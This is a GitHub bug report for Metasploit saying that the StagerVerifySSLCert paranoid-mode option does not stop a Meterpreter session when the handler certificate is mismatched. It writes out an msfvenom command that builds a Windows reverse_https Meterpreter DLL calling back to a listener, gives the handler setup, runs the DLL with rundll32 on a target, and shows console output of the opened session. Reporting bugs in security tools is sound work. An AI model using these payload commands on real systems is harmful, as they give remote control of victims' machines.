Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

StagerVerifySSLCert doesn't work #19706

Open
GoLuBnAtAsHa opened this issue Dec 7, 2024 · 0 comments
Open

StagerVerifySSLCert doesn't work #19706

GoLuBnAtAsHa opened this issue Dec 7, 2024 · 0 comments
Labels

Comments

@GoLuBnAtAsHa
Copy link

Steps to reproduce

How'd you do it?

  1. .msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.1 LPORT=4445 PayloadUUIDTracking=true HandlerSSLCert=./samples/sample.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedDLL --arch x86 --platform windows -f dll -o sample.dll
  2. msfconsole
    set PAYLOAD windows/meterpreter/reverse_https
    set LHOST 0.0.0.0
    set LPORT 4445
    set ExitOnSession false
    set SessionExpirationTimeout 0
    set SessionCommunicationTimeout 0
    set StagerVerifySSLCert true
    set HandlerSSLCert ./samples/fake_sample.pem
    run -j
  3. Start cmd on target system and execute "rundll32.exe sample.dll, 0"

This section should also tell us any relevant information about the
environment; for example, if an exploit that used to work is failing,
tell us the victim operating system and service versions.

Were you following a specific guide/tutorial or reading documentation?

If yes link the guide/tutorial or documentation you were following here, otherwise you may omit this section.
https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-paranoid-mode.html

Expected behavior

What should happen?
Meterpreter payload should have refused the connection

Current behavior

What happens instead?
[] https://0.0.0.0:4445 handling request from 192.168.178.39; (UUID: qfhfi8pp) Meterpreter will verify SSL Certificate with SHA1 hash e825b2fda47a5c15ecb892f2dbf85c92ad8e40ad
[
] https://0.0.0.0:4445 handling request from 192.168.178.39; (UUID: qfhfi8pp) Staging x86 payload (177244 bytes) ...
[] Session ID 3 (192.168.178.46:4445 -> 192.168.178.39:56437) processing AutoRunScript './samples/sample.rb'
[
] Meterpreter session 3 opened (192.168.178.46:4445 -> 192.168.178.39:56437) at 2024-12-07 18:11:25 +0100

Metasploit version

Get this with the version command in msfconsole (or git log -1 --pretty=oneline for a source install).
Framework: 6.4.22-dev-5e11dee
Console : 6.4.22-dev-5e11dee

Additional Information

If your version is less than 5.0.96, please update to the latest version and ensure your issue is still present.

If the issue is encountered within msfconsole, please run the debug command using the instructions below. If the issue is encountered outisde msfconsole, or the issue causes msfconsole to crash on startup, please delete this section.

  1. Start msfconsole
  2. Run the command set loglevel 3
  3. Take the steps necessary recreate your issue
  4. Run the debug command
  5. Copy all the output below the ===8<=== CUT AND PASTE EVERYTHING BELOW THIS LINE ===8<=== line and make sure to REMOVE ANY SENSITIVE INFORMATION.
  6. Replace these instructions and the paragraph above with the output from step 5.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
Status: No status
Development

No branches or pull requests

1 participant